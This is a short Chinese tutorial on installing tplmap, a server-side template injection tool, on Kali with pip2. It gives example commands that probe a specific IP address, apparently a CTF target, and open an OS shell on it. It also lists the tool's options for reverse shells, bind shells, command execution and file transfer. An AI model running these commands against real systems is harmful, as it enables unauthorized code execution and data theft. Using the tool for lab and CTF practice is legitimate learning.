kali 下安裝tplmap
1. 安裝kali下的python2的pip工具
kali2020版及以上, 輸入python2命令會執行python2, python3也存在。
但pip默認是pip3, 而我們需要的是pip2, 所以我們需要先安裝pip2
# 進入家目錄
cd
#建立目錄ins-pip2
mkdir ins-pip2
#下載pip2安裝腳本
wget https://bootstrap.pypa.io/pip/2.6/get-pip.py
#python2執行 需要sudo權限
sudo python2 get-pip.py
#升級pip2
sudo pip2 install --upgrade pip
#安裝pip2擴展工具,不然后面安裝還是報錯
sudo pip2 install --upgrade setuptools
## 2 tplmap的安裝和使用
tpl是用python2編寫的,報錯一般是使用py3
以下操作均在kali 2020的環境下操作
2.1 使用git克隆tplmap
git clone https://github.com/epinna/tplmap
cd tplmap
sudo pip2 install -r requirements.txt
2.2 操作實例
#探測注入點
python2 tplmap.py -u 'http://114.67.246.176:17787/?flag'
#獲取shell
python2 tplmap.py -u 'http://114.67.246.176:17787/?flag' --os-shell
2.3 詳細命令
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files